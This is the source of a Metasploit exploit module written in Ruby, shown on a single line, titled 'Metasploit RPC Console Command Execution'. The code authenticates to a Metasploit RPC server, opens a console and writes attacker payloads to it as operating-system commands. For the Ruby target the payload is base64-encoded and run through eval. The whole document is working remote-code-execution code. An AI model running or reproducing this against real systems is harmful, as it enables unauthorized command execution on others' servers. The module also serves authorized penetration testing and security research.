## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/rpc/v10/client' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Metasploit RPC Console Command Execution', 'Description' => %q{ This module connects to a specified Metasploit RPC server and uses the 'console.write' procedure to execute operating system commands. Valid credentials are required to access the RPC interface. This module has been tested successfully on Metasploit 4.15 on Kali 1.0.6; Metasploit 4.14 on Kali 2017.1; and Metasploit 4.14 on Windows 7 SP1. }, 'License' => MSF_LICENSE, 'Author' => 'Brendan Coles <bcoles[at]gmail.com>', 'References' => [ [ 'URL', 'https://help.rapid7.com/metasploit/Content/api/rpc/overview.html' ], [ 'URL', 'https://community.rapid7.com/docs/DOC-1516' ] ], 'Platform' => %w{ ruby unix win }, 'Targets' => [ [ 'Ruby', { 'Arch' => ARCH_RUBY, 'Platform' => 'ruby', 'Payload' => { 'BadChars' => "\x00" } } ], [ 'Windows CMD', { 'Arch' => ARCH_CMD, 'Platform' => 'win', 'Payload' => { 'BadChars' => "\x00\x0A\x0D" } } ], [ 'Unix CMD', { 'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => { 'BadChars' => "\x00\x0A\x0D" } } ] ], 'DefaultOptions' => { 'PrependFork' => true, 'WfsDelay' => 15 }, 'Privileged' => false, 'DisclosureDate' => 'May 22 2011', 'DefaultTarget' => 0)) register_options [ Opt::RPORT(55552), OptString.new('USERNAME', [true, 'Username for Metasploit RPC', 'msf']), OptString.new('PASSWORD', [true, 'Password for the specified username', '']), OptBool.new('SSL', [ true, 'Use SSL', true]) ] end def execute_command(cmd, opts = {}) res = @rpc.call 'console.write', @console_id, "\r\n#{cmd}\r\n" if res.nil? fail_with Failure::Unknown, 'Connection failed' end unless res['wrote'].to_s =~ /\A\d+\z/ print_error "Could not write to console #{@console_id}:" print_line res.to_s return end vprint_good "Wrote #{res['wrote']} bytes to console" end def exploit begin @rpc = Msf::RPC::Client.new :host => rhost, :port => rport, :ssl => ssl rescue Rex::ConnectionRefused => e fail_with Failure::Unreachable, 'Connection refused' rescue => e fail_with Failure::Unknown, "Connection failed: #{e}" end res = @rpc.login datastore['USERNAME'], datastore['PASSWORD'] if @rpc.token.nil? fail_with Failure::NoAccess, 'Authentication failed' end print_good 'Authenticated successfully' vprint_status "Received temporary token: #{@rpc.token}" version = @rpc.call 'core.version' if res.nil? fail_with Failure::Unknown, 'Connection failed' end print_status "Metasploit #{version['version']}" print_status "Ruby #{version['ruby']}" print_status "API version #{version['api']}" vprint_status 'Creating new console...' res = @rpc.call 'console.create' if res.nil? fail_with Failure::Unknown, 'Connection failed' end unless res['id'].to_s =~ /\A\d+\z/ print_error 'Could not create console:' print_line res.to_s return end @console_id = res['id'] print_good "Created console ##{@console_id}" print_status 'Sending payload...' case target['Platform'] when 'ruby' cmd = "ruby -e 'eval(%[#{Rex::Text.encode_base64(payload.encoded)}].unpack(%[m0]).first)'" when 'win' cmd = payload.encoded when 'unix' cmd = payload.encoded else fail_with Failure::NoTarget, 'Invalid target' end execute_command cmd end def cleanup return if @console_id.nil? vprint_status 'Removing console...' res = @rpc.call 'console.destroy', @console_id if res.nil? print_error 'Connection failed' return end unless res['result'].eql? 'success' print_warning "Could not destroy console ##{@console_id}:" print_line res.to_s return end vprint_good "Destroyed console ##{@console_id}" ensure @rpc.close end end